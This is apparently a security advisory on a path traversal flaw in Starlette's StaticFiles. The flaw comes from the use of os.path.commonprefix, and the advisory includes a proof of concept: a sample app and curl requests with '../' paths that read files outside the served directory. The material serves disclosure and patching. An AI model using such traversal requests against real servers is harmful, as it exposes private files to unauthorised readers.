Starlette has Path Traversal vulnerability in StaticFiles

Summary

When using StaticFiles, if there's a file or directory that starts with the same name as the StaticFiles directory, that file or directory is also exposed via StaticFiles which is a path traversal vulnerability.

Details

The root cause of this issue is the usage of os.path.commonprefix(): https://github.com/encode/starlette/blob/4bab981d9e870f6cee1bd4cd59b87ddaf355b2dc/starlette/staticfiles.py#L172-L174

As stated in the Python documentation (https://docs.python.org/3/library/os.path.html#os.path.commonprefix) this function returns the longest prefix common to paths.

When passing a path like /static/../static1.txt, os.path.commonprefix([full_path, directory]) returns ./static which is the common part of ./static1.txt and ./static, It refers to /static/../static1.txt because it is considered in the staticfiles directory. As a result, it becomes possible to view files that should not be open to the public.

The solution is to use os.path.commonpath as the Python documentation explains that os.path.commonprefix works a character at a time, it does not treat the arguments as paths.

PoC

In order to reproduce the issue, you need to create the following structure:

├── static
│   ├── index.html
├── static_disallow
│   ├── index.html
└── static1.txt

And run the Starlette app with:

import uvicorn
from starlette.applications import Starlette
from starlette.routing import Mount
from starlette.staticfiles import StaticFiles


routes = [
    Mount("/static", app=StaticFiles(directory="static", html=True), name="static"),
]

app = Starlette(routes=routes)


if __name__ == "__main__":
    uvicorn.run(app, host="0.0.0.0", port=8000)

And running the commands:

curl --path-as-is 'localhost:8000/static/../static_disallow/'
curl --path-as-is 'localhost:8000/static/../static1.txt'

The static1.txt and the directory static_disallow are exposed.

Impact

Confidentiality is breached: An attacker may obtain files that should not be open to the public.

Credits

Security researcher Masashi Yamane of LAC Co., Ltd reported this vulnerability to JPCERT/CC Vulnerability Coordination Group and they contacted us to coordinate a patch for the security issue.